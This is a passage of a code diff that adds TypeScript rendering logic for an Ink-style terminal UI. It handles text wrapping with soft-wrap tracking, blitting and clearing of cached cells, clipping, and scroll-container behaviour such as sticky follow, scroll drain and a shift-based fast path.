+ * whole-string wrap while letting us mark per-piece provenance.
+ * Truncate modes never add newlines (cli-truncate is whole-string) so
+ * they fall through with softWrap undefined — no tracking, no behavior
+ * change from the pre-softWrap path.
+ */
+function wrapWithSoftWrap(
+  plainText: string,
+  maxWidth: number,
+  textWrap: Parameters<typeof wrapText>[2],
+): { wrapped: string; softWrap: boolean[] | undefined } {
+  if (textWrap !== 'wrap' && textWrap !== 'wrap-trim') {
+    return {
+      wrapped: wrapText(plainText, maxWidth, textWrap),
+      softWrap: undefined,
+    }
+  }
+  const origLines = plainText.split('\n')
+  const outLines: string[] = []
+  const softWrap: boolean[] = []
+  for (const orig of origLines) {
+    const pieces = wrapText(orig, maxWidth, textWrap).split('\n')
+    for (let i = 0; i < pieces.length; i++) {
+      outLines.push(pieces[i]!)
+      softWrap.push(i > 0)
+    }
+  }
+  return { wrapped: outLines.join('\n'), softWrap }
+}
+
+// If parent container is `<Box>`, text nodes will be treated as separate nodes in
+// the tree and will have their own coordinates in the layout.
+// To ensure text nodes are aligned correctly, take X and Y of the first text node
+// and use it as offset for the rest of the nodes
+// Only first node is taken into account, because other text nodes can't have margin or padding,
+// so their coordinates will be relative to the first node anyway
+function applyPaddingToText(
+  node: DOMElement,
+  text: string,
+  softWrap?: boolean[],
+): string {
+  const yogaNode = node.childNodes[0]?.yogaNode
+
+  if (yogaNode) {
+    const offsetX = yogaNode.getComputedLeft()
+    const offsetY = yogaNode.getComputedTop()
+    text = '\n'.repeat(offsetY) + indentString(text, offsetX)
+    if (softWrap && offsetY > 0) {
+      // Prepend `false` for each padding line so indices stay aligned
+      // with text.split('\n'). Mutate in place — caller owns the array.
+      softWrap.unshift(...Array<boolean>(offsetY).fill(false))
+    }
+  }
+
+  return text
+}
+
+// After nodes are laid out, render each to output object, which later gets rendered to terminal
+function renderNodeToOutput(
+  node: DOMElement,
+  output: Output,
+  {
+    offsetX = 0,
+    offsetY = 0,
+    prevScreen,
+    skipSelfBlit = false,
+    inheritedBackgroundColor,
+  }: {
+    offsetX?: number
+    offsetY?: number
+    prevScreen: Screen | undefined
+    // Force this node to descend instead of blitting its own rect, while
+    // still passing prevScreen to children. Used for non-opaque absolute
+    // overlays over a dirty clipped region: the overlay's full rect has
+    // transparent gaps (stale underlying content in prevScreen), but its
+    // opaque descendants' narrower rects are safe to blit.
+    skipSelfBlit?: boolean
+    inheritedBackgroundColor?: Color
+  },
+): void {
+  const { yogaNode } = node
+
+  if (yogaNode) {
+    if (yogaNode.getDisplay() === LayoutDisplay.None) {
+      // Clear old position if node was visible before becoming hidden
+      if (node.dirty) {
+        const cached = nodeCache.get(node)
+        if (cached) {
+          output.clear({
+            x: Math.floor(cached.x),
+            y: Math.floor(cached.y),
+            width: Math.floor(cached.width),
+            height: Math.floor(cached.height),
+          })
+          // Drop descendants' cache too — hideInstance's markDirty walks UP
+          // only, so descendants' .dirty stays false. Their nodeCache entries
+          // survive with pre-hide rects. On unhide, if position didn't shift,
+          // the blit check at line ~432 passes and copies EMPTY cells from
+          // prevScreen (cleared here) → content vanishes.
+          dropSubtreeCache(node)
+          layoutShifted = true
+        }
+      }
+      return
+    }
+
+    // Left and top positions in Yoga are relative to their parent node
+    const x = offsetX + yogaNode.getComputedLeft()
+    const yogaTop = yogaNode.getComputedTop()
+    let y = offsetY + yogaTop
+    const width = yogaNode.getComputedWidth()
+    const height = yogaNode.getComputedHeight()
+
+    // Absolute-positioned overlays (e.g. autocomplete menus with bottom='100%')
+    // can compute negative screen y when they extend above the viewport. Without
+    // clamping, setCellAt drops cells at y<0, clipping the TOP of the content
+    // (best matches in an autocomplete). By clamping to 0, we shift the element
+    // down so the top rows are visible and the bottom overflows below — the
+    // opaque prop ensures it paints over whatever is underneath.
+    if (y < 0 && node.style.position === 'absolute') {
+      y = 0
+    }
+
+    // Check if we can skip this subtree (clean node with unchanged layout).
+    // Blit cells from previous screen instead of re-rendering.
+    const cached = nodeCache.get(node)
+    if (
+      !node.dirty &&
+      !skipSelfBlit &&
+      node.pendingScrollDelta === undefined &&
+      cached &&
+      cached.x === x &&
+      cached.y === y &&
+      cached.width === width &&
+      cached.height === height &&
+      prevScreen
+    ) {
+      const fx = Math.floor(x)
+      const fy = Math.floor(y)
+      const fw = Math.floor(width)
+      const fh = Math.floor(height)
+      output.blit(prevScreen, fx, fy, fw, fh)
+      if (node.style.position === 'absolute') {
+        absoluteRectsCur.push(cached)
+      }
+      // Absolute descendants can paint outside this node's layout bounds
+      // (e.g. a slash menu with position='absolute' bottom='100%' floats
+      // above). If a dirty clipped sibling re-rendered and overwrote those
+      // cells, the blit above only restored this node's own rect — the
+      // absolute descendants' cells are lost. Re-blit them from prevScreen
+      // so the overlays survive.
+      blitEscapingAbsoluteDescendants(node, output, prevScreen, fx, fy, fw, fh)
+      return
+    }
+
+    // Clear stale content from the old position when re-rendering.
+    // Dirty: content changed. Moved: position/size changed (e.g., sibling
+    // above changed height), old cells still on the terminal.
+    const positionChanged =
+      cached !== undefined &&
+      (cached.x !== x ||
+        cached.y !== y ||
+        cached.width !== width ||
+        cached.height !== height)
+    if (positionChanged) {
+      layoutShifted = true
+    }
+    if (cached && (node.dirty || positionChanged)) {
+      output.clear(
+        {
+          x: Math.floor(cached.x),
+          y: Math.floor(cached.y),
+          width: Math.floor(cached.width),
+          height: Math.floor(cached.height),
+        },
+        node.style.position === 'absolute',
+      )
+    }
+
+    // Read before deleting — hasRemovedChild disables prevScreen blitting
+    // for siblings to prevent stale overflow content from being restored.
+    const clears = pendingClears.get(node)
+    const hasRemovedChild = clears !== undefined
+    if (hasRemovedChild) {
+      layoutShifted = true
+      for (const rect of clears) {
+        output.clear({
+          x: Math.floor(rect.x),
+          y: Math.floor(rect.y),
+          width: Math.floor(rect.width),
+          height: Math.floor(rect.height),
+        })
+      }
+      pendingClears.delete(node)
+    }
+
+    // Yoga squeezed this node to zero height (overflow in a height-constrained
+    // parent) AND a sibling lands at the same y. Skip rendering — both would
+    // write to the same row; if the sibling's content is shorter, this node's
+    // tail chars ghost (e.g. "false" + "true" = "truee"). The clear above
+    // already handled the visible→squeezed transition.
+    //
+    // The sibling-overlap check is load-bearing: Yoga's pixel-grid rounding
+    // can give a box h=0 while still leaving a row for it (next sibling at
+    // y+1, not y). HelpV2's third shortcuts column hits this — skipping
+    // unconditionally drops "ctrl + z to suspend" from /help output.
+    if (height === 0 && siblingSharesY(node, yogaNode)) {
+      nodeCache.set(node, { x, y, width, height, top: yogaTop })
+      node.dirty = false
+      return
+    }
+
+    if (node.nodeName === 'ink-raw-ansi') {
+      // Pre-rendered ANSI content. The producer already wrapped to width and
+      // emitted terminal-ready escape codes. Skip squash, measure, wrap, and
+      // style re-application — output.write() parses ANSI directly into cells.
+      const text = node.attributes['rawText'] as string
+      if (text) {
+        output.write(x, y, text)
+      }
+    } else if (node.nodeName === 'ink-text') {
+      const segments = squashTextNodesToSegments(
+        node,
+        inheritedBackgroundColor
+          ? { backgroundColor: inheritedBackgroundColor }
+          : undefined,
+      )
+
+      // First, get plain text to check if wrapping is needed
+      const plainText = segments.map(s => s.text).join('')
+
+      if (plainText.length > 0) {
+        // Upstream Ink uses getMaxWidth(yogaNode) unclamped here. That
+        // width comes from Yoga's AtMost pass and can exceed the actual
+        // screen space (see getMaxWidth docstring). Yoga's height for this
+        // node already reflects the constrained Exactly pass, so clamping
+        // the wrap width here keeps line count consistent with layout.
+        // Without this, characters past the screen edge are dropped by
+        // setCellAt's bounds check.
+        const maxWidth = Math.min(getMaxWidth(yogaNode), output.width - x)
+        const textWrap = node.style.textWrap ?? 'wrap'
+
+        // Check if wrapping is needed
+        const needsWrapping = widestLine(plainText) > maxWidth
+
+        let text: string
+        let softWrap: boolean[] | undefined
+        if (needsWrapping && segments.length === 1) {
+          // Single segment: wrap plain text first, then apply styles to each line
+          const segment = segments[0]!
+          const w = wrapWithSoftWrap(plainText, maxWidth, textWrap)
+          softWrap = w.softWrap
+          text = w.wrapped
+            .split('\n')
+            .map(line => {
+              let styled = applyTextStyles(line, segment.styles)
+              // Apply OSC 8 hyperlink per-line so each line is independently
+              // clickable. output.ts splits on newlines and tokenizes each
+              // line separately, so a single wrapper around the whole block
+              // would only apply the hyperlink to the first line.
+              if (segment.hyperlink) {
+                styled = wrapWithOsc8Link(styled, segment.hyperlink)
+              }
+              return styled
+            })
+            .join('\n')
+        } else if (needsWrapping) {
+          // Multiple segments with wrapping: wrap plain text first, then re-apply
+          // each segment's styles based on character positions. This preserves
+          // per-segment styles even when text wraps across lines.
+          const w = wrapWithSoftWrap(plainText, maxWidth, textWrap)
+          softWrap = w.softWrap
+          const charToSegment = buildCharToSegmentMap(segments)
+          text = applyStylesToWrappedText(
+            w.wrapped,
+            segments,
+            charToSegment,
+            plainText,
+            textWrap === 'wrap-trim',
+          )
+          // Hyperlinks are handled per-run in applyStylesToWrappedText via
+          // wrapWithOsc8Link, similar to how styles are applied per-run.
+        } else {
+          // No wrapping needed: apply styles directly
+          text = segments
+            .map(segment => {
+              let styledText = applyTextStyles(segment.text, segment.styles)
+              if (segment.hyperlink) {
+                styledText = wrapWithOsc8Link(styledText, segment.hyperlink)
+              }
+              return styledText
+            })
+            .join('')
+        }
+
+        text = applyPaddingToText(node, text, softWrap)
+
+        output.write(x, y, text, softWrap)
+      }
+    } else if (node.nodeName === 'ink-box') {
+      const boxBackgroundColor =
+        node.style.backgroundColor ?? inheritedBackgroundColor
+
+      // Mark this box's region as non-selectable (fullscreen text
+      // selection). noSelect ops are applied AFTER blits/writes in
+      // output.get(), so this wins regardless of what's rendered into
+      // the region — including blits from prevScreen when the box is
+      // clean (the op is emitted on both the dirty-render path here
+      // AND on the blit fast-path at line ~235 since blitRegion copies
+      // the noSelect bitmap alongside cells).
+      //
+      // 'from-left-edge' extends the exclusion from col 0 so any
+      // upstream indentation (tool prefix, tree lines) is covered too
+      // — a multi-row drag over a diff gutter shouldn't pick up the
+      // `  ⎿  ` prefix on row 0 or the blank cells under it on row 1+.
+      if (node.style.noSelect) {
+        const boxX = Math.floor(x)
+        const fromEdge = node.style.noSelect === 'from-left-edge'
+        output.noSelect({
+          x: fromEdge ? 0 : boxX,
+          y: Math.floor(y),
+          width: fromEdge ? boxX + Math.floor(width) : Math.floor(width),
+          height: Math.floor(height),
+        })
+      }
+
+      const overflowX = node.style.overflowX ?? node.style.overflow
+      const overflowY = node.style.overflowY ?? node.style.overflow
+      const clipHorizontally = overflowX === 'hidden' || overflowX === 'scroll'
+      const clipVertically = overflowY === 'hidden' || overflowY === 'scroll'
+      const isScrollY = overflowY === 'scroll'
+
+      const needsClip = clipHorizontally || clipVertically
+      let y1: number | undefined
+      let y2: number | undefined
+      if (needsClip) {
+        const x1 = clipHorizontally
+          ? x + yogaNode.getComputedBorder(LayoutEdge.Left)
+          : undefined
+
+        const x2 = clipHorizontally
+          ? x +
+            yogaNode.getComputedWidth() -
+            yogaNode.getComputedBorder(LayoutEdge.Right)
+          : undefined
+
+        y1 = clipVertically
+          ? y + yogaNode.getComputedBorder(LayoutEdge.Top)
+          : undefined
+
+        y2 = clipVertically
+          ? y +
+            yogaNode.getComputedHeight() -
+            yogaNode.getComputedBorder(LayoutEdge.Bottom)
+          : undefined
+
+        output.clip({ x1, x2, y1, y2 })
+      }
+
+      if (isScrollY) {
+        // Scroll containers follow the ScrollBox component structure:
+        // a single content-wrapper child with flexShrink:0 (doesn't shrink
+        // to fit), whose children are the scrollable items. scrollHeight
+        // comes from the wrapper's intrinsic Yoga height. The wrapper is
+        // rendered with its Y translated by -scrollTop; its children are
+        // culled against the visible window.
+        const padTop = yogaNode.getComputedPadding(LayoutEdge.Top)
+        const innerHeight = Math.max(
+          0,
+          (y2 ?? y + height) -
+            (y1 ?? y) -
+            padTop -
+            yogaNode.getComputedPadding(LayoutEdge.Bottom),
+        )
+
+        const content = node.childNodes.find(c => (c as DOMElement).yogaNode) as
+          | DOMElement
+          | undefined
+        const contentYoga = content?.yogaNode
+        // scrollHeight is the intrinsic height of the content wrapper.
+        // Do NOT add getComputedTop() — that's the wrapper's offset
+        // within the viewport (equal to the scroll container's
+        // paddingTop), and innerHeight already subtracts padding, so
+        // including it double-counts padding and inflates maxScroll.
+        const scrollHeight = contentYoga?.getComputedHeight() ?? 0
+        // Capture previous scroll bounds BEFORE overwriting — the at-bottom
+        // follow check compares against last frame's max.
+        const prevScrollHeight = node.scrollHeight ?? scrollHeight
+        const prevInnerHeight = node.scrollViewportHeight ?? innerHeight
+        node.scrollHeight = scrollHeight
+        node.scrollViewportHeight = innerHeight
+        // Absolute screen-buffer row where the scrollable area (inside
+        // padding) begins. Exposed via ScrollBoxHandle.getViewportTop() so
+        // drag-to-scroll can detect when the drag leaves the scroll viewport.
+        node.scrollViewportTop = (y1 ?? y) + padTop
+
+        const maxScroll = Math.max(0, scrollHeight - innerHeight)
+        // scrollAnchor: scroll so the anchored element's top is at the
+        // viewport top (plus offset). Yoga is FRESH — same calculateLayout
+        // pass that just produced scrollHeight. Deterministic alternative
+        // to scrollTo(N) which bakes a number that's stale by the throttled
+        // render; the element ref defers the read to now. One-shot snap.
+        // A prior eased-seek version (proportional drain over ~5 frames)
+        // moved scrollTop without firing React's notify → parent's quantized
+        // store snapshot never updated → StickyTracker got stale range props
+        // → firstVisible wrong. Also: SCROLL_MIN_PER_FRAME=4 with snap-at-1
+        // ping-ponged forever at delta=2. Smooth needs drain-end notify
+        // plumbing; shipping instant first. stickyScroll overrides.
+        if (node.scrollAnchor) {
+          const anchorTop = node.scrollAnchor.el.yogaNode?.getComputedTop()
+          if (anchorTop != null) {
+            node.scrollTop = anchorTop + node.scrollAnchor.offset
+            node.pendingScrollDelta = undefined
+          }
+          node.scrollAnchor = undefined
+        }
+        // At-bottom follow. Positional: if scrollTop was at (or past) the
+        // previous max, pin to the new max. Scroll away → stop following;
+        // scroll back (or scrollToBottom/sticky attr) → resume. The sticky
+        // flag is OR'd in for cold start (scrollTop=0 before first layout)
+        // and scrollToBottom-from-far-away (flag set before scrollTop moves)
+        // — the imperative field takes precedence over the attribute so
+        // scrollTo/scrollBy can break stickiness. pendingDelta<0 guard:
+        // don't cancel an in-flight scroll-up when content races in.
+        // Capture scrollTop before follow so ink.tsx can translate any
+        // active text selection by the same delta (native terminal behavior:
+        // view keeps scrolling, highlight walks up with the text).
+        const scrollTopBeforeFollow = node.scrollTop ?? 0
+        const sticky =
+          node.stickyScroll ?? Boolean(node.attributes['stickyScroll'])
+        const prevMaxScroll = Math.max(0, prevScrollHeight - prevInnerHeight)
+        // Positional check only valid when content grew — virtualization can
+        // transiently SHRINK scrollHeight (tail unmount + stale heightCache
+        // spacer) making scrollTop >= prevMaxScroll true by artifact, not
+        // because the user was at bottom.
+        const grew = scrollHeight >= prevScrollHeight
+        const atBottom =
+          sticky || (grew && scrollTopBeforeFollow >= prevMaxScroll)
+        if (atBottom && (node.pendingScrollDelta ?? 0) >= 0) {
+          node.scrollTop = maxScroll
+          node.pendingScrollDelta = undefined
+          // Sync flag so useVirtualScroll's isSticky() agrees with positional
+          // state — sticky-broken-but-at-bottom (wheel tremor, click-select
+          // at max) otherwise leaves useVirtualScroll's clamp holding the
+          // viewport short of new streaming content. scrollTo/scrollBy set
+          // false; this restores true, same as scrollToBottom() would.
+          // Only restore when (a) positionally at bottom and (b) the flag
+          // was explicitly broken (===false) by scrollTo/scrollBy. When
+          // undefined (never set by user action) leave it alone — setting it
+          // would make the sticky flag sticky-by-default and lock out
+          // direct scrollTop writes (e.g. the alt-screen-perf test).
+          if (
+            node.stickyScroll === false &&
+            scrollTopBeforeFollow >= prevMaxScroll
+          ) {
+            node.stickyScroll = true
+          }
+        }
+        const followDelta = (node.scrollTop ?? 0) - scrollTopBeforeFollow
+        if (followDelta > 0) {
+          const vpTop = node.scrollViewportTop ?? 0
+          followScroll = {
+            delta: followDelta,
+            viewportTop: vpTop,
+            viewportBottom: vpTop + innerHeight - 1,
+          }
+        }
+        // Drain pendingScrollDelta. Native terminals (proportional burst
+        // events) use proportional drain; xterm.js (VS Code, sparse events +
+        // app-side accel curve) uses adaptive small-step drain. isXtermJs()
+        // depends on the async XTVERSION probe, but by the time this runs
+        // (pendingScrollDelta is only set by wheel events, >>50ms after
+        // startup) the probe has resolved — same timing guarantee the
+        // wheel-accel curve relies on.
+        let cur = node.scrollTop ?? 0
+        const pending = node.pendingScrollDelta
+        const cMin = node.scrollClampMin
+        const cMax = node.scrollClampMax
+        const haveClamp = cMin !== undefined && cMax !== undefined
+        if (pending !== undefined && pending !== 0) {
+          // Drain continues even past the clamp — the render-clamp below
+          // holds the VISUAL at the mounted edge regardless. Hard-stopping
+          // here caused stop-start jutter: drain hits edge → pause → React
+          // commits → clamp widens → drain resumes → edge again. Letting
+          // scrollTop advance smoothly while the clamp lags gives continuous
+          // visual scroll at React's commit rate (the clamp catches up each
+          // commit). But THROTTLE the drain when already past the clamp so
+          // scrollTop doesn't race 5000 rows ahead of the mounted range
+          // (slide-cap would then take 200 commits to catch up = long
+          // perceived stall at the edge). Past-clamp drain caps at ~4 rows/
+          // frame, roughly matching React's slide rate so the gap stays
+          // bounded and catch-up is quick once input stops.
+          const pastClamp =
+            haveClamp &&
+            ((pending < 0 && cur < cMin) || (pending > 0 && cur > cMax))
+          const eff = pastClamp ? Math.min(4, innerHeight >> 3) : innerHeight
+          cur += isXtermJsHost()
+            ? drainAdaptive(node, pending, eff)
+            : drainProportional(node, pending, eff)
+        } else if (pending === 0) {
+          // Opposite scrollBy calls cancelled to zero — clear so we don't
+          // schedule an infinite loop of no-op drain frames.
+          node.pendingScrollDelta = undefined
+        }
+        let scrollTop = Math.max(0, Math.min(cur, maxScroll))
+        // Virtual-scroll clamp: if scrollTop raced past the currently-mounted
+        // range (burst PageUp before React re-renders), render at the EDGE of
+        // the mounted children instead of blank spacer. Do NOT write back to
+        // node.scrollTop — the clamped value is for this paint only; the real
+        // scrollTop stays so React's next commit sees the target and mounts
+        // the right range. Not scheduling scrollDrainNode here keeps the
+        // clamp passive — React's commit → resetAfterCommit → onRender will
+        // paint again with fresh bounds.
+        const clamped = haveClamp
+          ? Math.max(cMin, Math.min(scrollTop, cMax))
+          : scrollTop
+        node.scrollTop = scrollTop
+        // Clamp hitting top/bottom consumes any remainder. Set drainPending
+        // only after clamp so a wasted no-op frame isn't scheduled.
+        if (scrollTop !== cur) node.pendingScrollDelta = undefined
+        if (node.pendingScrollDelta !== undefined) scrollDrainNode = node
+        scrollTop = clamped
+
+        if (content && contentYoga) {
+          // Compute content wrapper's absolute render position with scroll
+          // offset applied, then render its children with culling.
+          const contentX = x + contentYoga.getComputedLeft()
+          const contentY = y + contentYoga.getComputedTop() - scrollTop
+          // layoutShifted detection gap: when scrollTop moves by >= viewport
+          // height (batched PageUps, fast wheel), every visible child gets
+          // culled (cache dropped) and every newly-visible child has no
+          // cache — so the children's positionChanged check can't fire.
+          // The content wrapper's cached y (which encodes -scrollTop) is
+          // the only node that survives to witness the scroll.
+          const contentCached = nodeCache.get(content)
+          let hint: ScrollHint | null = null
+          if (contentCached && contentCached.y !== contentY) {
+            // delta = newScrollTop - oldScrollTop (positive = scrolled down).
+            // Capture a DECSTBM hint if the container itself didn't move
+            // and the shift fits within the viewport — otherwise the full
+            // rewrite is needed anyway, and layoutShifted stays the fallback.
+            const delta = contentCached.y - contentY
+            const regionTop = Math.floor(y + contentYoga.getComputedTop())
+            const regionBottom = regionTop + innerHeight - 1
+            if (
+              cached?.y === y &&
+              cached.height === height &&
+              innerHeight > 0 &&
+              Math.abs(delta) < innerHeight
+            ) {
+              hint = { top: regionTop, bottom: regionBottom, delta }
+              scrollHint = hint
+            } else {
+              layoutShifted = true
+            }
+          }
+          // Fast path: scroll (hint captured) with usable prevScreen.
+          // Blit prevScreen's scroll region into next.screen, shift in-place
+          // by delta (mirrors DECSTBM), then render ONLY the edge rows. The
+          // nested clip keeps child writes out of stable rows — a tall child
+          // that spans edge+stable still renders but stable cells are
+          // clipped, preserving the blit. Avoids re-rendering every visible
+          // child (expensive for long syntax-highlighted transcripts).
+          //
+          // When content.dirty (e.g. streaming text at the bottom of the
+          // scroll), we still use the fast path — the dirty child is almost
+          // always in the edge rows (the bottom, where new content appears).
+          // After edge rendering, any dirty children in stable rows are
+          // re-rendered in a second pass to avoid showing stale blitted
+          // content.
+          //
+          // Guard: the fast path only handles pure scroll or bottom-append.
+          // Child removal/insertion changes the content height in a way that
+          // doesn't match the scroll delta — fall back to the full path so
+          // removed children don't leave stale cells and shifted siblings
+          // render at their new positions.
+          const scrollHeight = contentYoga.getComputedHeight()
+          const prevHeight = contentCached?.height ?? scrollHeight
+          const heightDelta = scrollHeight - prevHeight
+          const safeForFastPath =
+            !hint ||
+            heightDelta === 0 ||
+            (hint.delta > 0 && heightDelta === hint.delta)
+          // scrollHint is set above when hint is captured. If safeForFastPath
+          // is false the full path renders a next.screen that doesn't match
+          // the DECSTBM shift — emitting DECSTBM leaves stale rows (seen as
+          // content bleeding through during scroll-up + streaming). Clear it.
+          if (!safeForFastPath) scrollHint = null
+          if (hint && prevScreen && safeForFastPath) {
+            const { top, bottom, delta } = hint
+            const w = Math.floor(width)
+            output.blit(prevScreen, Math.floor(x), top, w, bottom - top + 1)
+            output.shift(top, bottom, delta)
+            // Edge rows: new content entering the viewport.
+            const edgeTop = delta > 0 ? bottom - delta + 1 : top
+            const edgeBottom = delta > 0 ? bottom : top - delta - 1
+            output.clear({
+              x: Math.floor(x),
+              y: edgeTop,
+              width: w,
+              height: edgeBottom - edgeTop + 1,
+            })
+            output.clip({
+              x1: undefined,
+              x2: undefined,
+              y1: edgeTop,
+              y2: edgeBottom + 1,
+            })
+            // Snapshot dirty children before the first pass — the first
+            // pass clears dirty flags, and edge-spanning children would be
+            // missed by the second pass without this snapshot.
+            const dirtyChildren = content.dirty
+              ? new Set(content.childNodes.filter(c => (c as DOMElement).dirty))
+              : null
+            renderScrolledChildren(
+              content,
+              output,
+              contentX,
+              contentY,
+              hasRemovedChild,
+              undefined,
+              // Cull to edge in child-local coords (inverse of contentY offset).
+              edgeTop - contentY,
+              edgeBottom + 1 - contentY,
+              boxBackgroundColor,
+              true,
+            )
+            output.unclip()
+
+            // Second pass: re-render children in stable rows whose screen
+            // position doesn't match where the shift put their old pixels.
+            // Covers TWO cases:
+            //   1. Dirty children — their content changed, blitted pixels are
+            //      stale regardless of position.
+            //   2. Clean children BELOW a middle-growth point — when a dirty
+            //      sibling above them grows, their yogaTop increases but
+            //      scrollTop increases by the same amount (sticky), so their
+            //      screenY is CONSTANT. The shift moved their old pixels to
+            //      screenY-delta (wrong); they should stay at screenY. Without
+            //      this, the spinner/tmux-monitor ghost at shifted positions
+            //      during streaming (e.g. triple spinner, pill duplication).
+            //   For bottom-append (the common case), all clean children are
+            //   ABOVE the growth point; their screenY decreased by delta and
+            //   the shift put them at the right place — skipped here, fast
+            //   path preserved.
+            if (dirtyChildren) {
+              const edgeTopLocal = edgeTop - contentY
+              const edgeBottomLocal = edgeBottom + 1 - contentY
+              const spaces = ' '.repeat(w)
+              // Track cumulative height change of children iterated so far.
+              // A clean child's yogaTop is unchanged iff this is zero (no
+              // sibling above it grew/shrank/mounted). When zero, the skip
+              // check cached.y−delta === screenY reduces to delta === delta
+              // (tautology) → skip without yoga reads. Restores O(dirty)
+              // that #24536 traded away: for bottom-append the dirty child
+              // is last (all clean children skip); for virtual-scroll range
+              // shift the topSpacer shrink + new-item heights self-balance
+              // to zero before reaching the clean block. Middle-growth
+              // leaves shift non-zero → clean children after the growth
+              // point fall through to yoga + the fine-grained check below,
+              // preserving the ghost-box fix.
+              let cumHeightShift = 0
+              for (const childNode of content.childNodes) {
+                const childElem = childNode as DOMElement
+                const isDirty = dirtyChildren.has(childNode)
+                if (!isDirty && cumHeightShift === 0) {
+                  if (nodeCache.has(childElem)) continue
+                  // Uncached = culled last frame, now re-entering. blit
+                  // never painted it → fall through to yoga + render.
+                  // Height unchanged (clean), so cumHeightShift stays 0.
+                }
+                const cy = childElem.yogaNode
+                if (!cy) continue
+                const childTop = cy.getComputedTop()
+                const childH = cy.getComputedHeight()
+                const childBottom = childTop + childH
+                if (isDirty) {
+                  const prev = nodeCache.get(childElem)
+                  cumHeightShift += childH - (prev ? prev.height : 0)
+                }
+                // Skip culled children (outside viewport)
+                if (
+                  childBottom <= scrollTop ||
+                  childTop >= scrollTop + innerHeight
+                )
+                  continue
+                // Skip children entirely within edge rows (already rendered)
+                if (childTop >= edgeTopLocal && childBottom <= edgeBottomLocal)
+                  continue
+                const screenY = Math.floor(contentY + childTop)
+                // Clean children reaching here have cumHeightShift ≠ 0 OR
+                // no cache. Re-check precisely: cached.y − delta is where
+                // the shift left old pixels; if it equals new screenY the
+                // blit is correct (shift re-balanced at this child, or
+                // yogaTop happens to net out). No cache → blit never
+                // painted it → render.
+                if (!isDirty) {
+                  const childCached = nodeCache.get(childElem)
+                  if (
+                    childCached &&
+                    Math.floor(childCached.y) - delta === screenY
+                  ) {
+                    continue
+                  }
+                }
+                // Wipe this child's region with spaces to overwrite stale
+                // blitted content — output.clear() only expands damage and
+                // cannot zero cells that the blit already wrote.
+                const screenBottom = Math.min(
+                  Math.floor(contentY + childBottom),
+                  Math.floor((y1 ?? y) + padTop + innerHeight),
+                )
+                if (screenY < screenBottom) {
+                  const fill = Array(screenBottom - screenY)
+                    .fill(spaces)
+                    .join('\n')
+                  output.write(Math.floor(x), screenY, fill)
+                  output.clip({
+                    x1: undefined,
+                    x2: undefined,
+                    y1: screenY,
+                    y2: screenBottom,
+                  })
+                  renderNodeToOutput(childElem, output, {
+                    offsetX: contentX,
+                    offsetY: contentY,
+                    prevScreen: undefined,
+                    inheritedBackgroundColor: boxBackgroundColor,
+                  })
+                  output.unclip()
+                }
+              }
+            }
+
+            // Third pass: repair rows where shifted copies of absolute
+            // overlays landed. The blit copied prevScreen cells INCLUDING
+            // overlay pixels (overlays render AFTER this ScrollBox so they
+            // painted into prevScreen's scroll region). After shift, those
+            // pixels sit at (rect.y - delta) — neither edge render nor the
+            // overlay's own re-render covers them. Wipe and re-render
+            // ScrollBox content so the diff writes correct cells.
+            const spaces = absoluteRectsPrev.length ? ' '.repeat(w) : ''
+            for (const r of absoluteRectsPrev) {
+              if (r.y >= bottom + 1 || r.y + r.height <= top) continue
+              const shiftedTop = Math.max(top, Math.floor(r.y) - delta)
+              const shiftedBottom = Math.min(
+                bottom + 1,
+                Math.floor(r.y + r.height) - delta,
+              )
+              // Skip if entirely within edge rows (already rendered).
+              if (shiftedTop >= edgeTop && shiftedBottom <= edgeBottom + 1)
+                continue
+              if (shiftedTop >= shiftedBottom) continue
+              const fill = Array(shiftedBottom - shiftedTop)
+                .fill(spaces)
+                .join('\n')
+              output.write(Math.floor(x), shiftedTop, fill)
+              output.clip({
+                x1: undefined,
+                x2: undefined,
+                y1: shiftedTop,
+                y2: shiftedBottom,
+              })
+              renderScrolledChildren(
+                content,
+                output,
+                contentX,
+                contentY,
+                hasRemovedChild,
+                undefined,
+                shiftedTop - contentY,
+                shiftedBottom - contentY,
+                boxBackgroundColor,
+                true,
+              )
+              output.unclip()
+            }
+          } else {
+            // Full path. Two sub-cases:
+            //
+            // Scrolled without a usable hint (big jump, container moved):
+            // child positions in prevScreen are stale. Clear the viewport
+            // and disable blit so children don't restore shifted content.
+            //
+            // No scroll (spinner tick, content edit): child positions in
+            // prevScreen are still valid. Skip the viewport clear and pass
+            // prevScreen so unchanged children blit. Dirty children already
+            // self-clear via their own cached-rect clear. Without this, a
+            // spinner inside ScrollBox forces a full-content rewrite every
+            // frame — on wide terminals over tmux (no BSU/ESU) the
+            // bandwidth crosses the chunk boundary and the frame tears.
+            const scrolled = contentCached && contentCached.y !== contentY
+            if (scrolled && y1 !== undefined && y2 !== undefined) {
+              output.clear({
+                x: Math.floor(x),
+                y: Math.floor(y1),
+                width: Math.floor(width),
+                height: Math.floor(y2 - y1),
+              })
+            }
+            // positionChanged (ScrollBox height shrunk — pill mount) means a
+            // child spanning the old bottom edge would blit its full cached
+            // rect past the new clip. output.ts clips blits now, but also
+            // disable prevScreen here so the partial-row child re-renders at
+            // correct bounds instead of blitting a clipped (truncated) old
+            // rect.
+            renderScrolledChildren(
+              content,
+              output,
+              contentX,
+              contentY,
+              hasRemovedChild,
+              scrolled || positionChanged ? undefined : prevScreen,
+              scrollTop,
+              scrollTop + innerHeight,
+              boxBackgroundColor,
+            )
+          }
+          nodeCache.set(content, {
+            x: contentX,
+            y: contentY,
+            width: contentYoga.getComputedWidth(),
+            height: contentYoga.getComputedHeight(),
+          })
+          content.dirty = false
+        }
+      } else {
+        // Fill interior with background color before rendering children.
+        // This covers padding areas and empty space; child text inherits
+        // the color via inheritedBackgroundColor so written cells also
+        // get the background.
+        // Disable prevScreen for children: the fill overwrites the entire
+        // interior each render, so child blits from prevScreen would restore
+        // stale cells (wrong bg if it changed) on top of the fresh fill.
+        const ownBackgroundColor = node.style.backgroundColor
+        if (ownBackgroundColor || node.style.opaque) {
+          const borderLeft = yogaNode.getComputedBorder(LayoutEdge.Left)
+          const borderRight = yogaNode.getComputedBorder(LayoutEdge.Right)
+          const borderTop = yogaNode.getComputedBorder(LayoutEdge.Top)
+          const borderBottom = yogaNode.getComputedBorder(LayoutEdge.Bottom)
+          const innerWidth = Math.floor(width) - borderLeft - borderRight
+          const innerHeight = Math.floor(height) - borderTop - borderBottom
+          if (innerWidth > 0 && innerHeight > 0) {
+            const spaces = ' '.repeat(innerWidth)
+            const fillLine = ownBackgroundColor
+              ? applyTextStyles(spaces, { backgroundColor: ownBackgroundColor })
+              : spaces
+            const fill = Array(innerHeight).fill(fillLine).join('\n')
